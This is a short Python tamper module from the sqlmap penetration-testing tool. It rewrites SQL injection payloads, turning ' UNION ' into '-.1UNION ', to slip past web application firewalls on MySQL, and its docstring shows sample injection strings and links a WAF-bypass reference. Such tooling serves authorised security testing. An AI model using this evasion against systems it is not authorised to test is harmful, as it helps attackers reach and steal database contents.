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34 lines
732 B
Python
34 lines
732 B
Python
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#!/usr/bin/env python
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"""
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Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
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See the file 'LICENSE' for copying permission
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"""
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import re
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from lib.core.enums import PRIORITY
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__priority__ = PRIORITY.HIGHEST
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def dependencies():
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pass
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def tamper(payload, **kwargs):
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"""
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Replaces instances of UNION with -.1UNION
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Requirement:
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* MySQL
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Notes:
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* Reference: https://raw.githubusercontent.com/y0unge/Notes/master/SQL%20Injection%20WAF%20Bypassing%20shortcut.pdf
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>>> tamper('1 UNION ALL SELECT')
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'1-.1UNION ALL SELECT'
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>>> tamper('1" UNION ALL SELECT')
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'1"-.1UNION ALL SELECT'
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"""
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return re.sub("\s+(UNION )", r"-.1\g<1>", payload, re.I) if payload else payload
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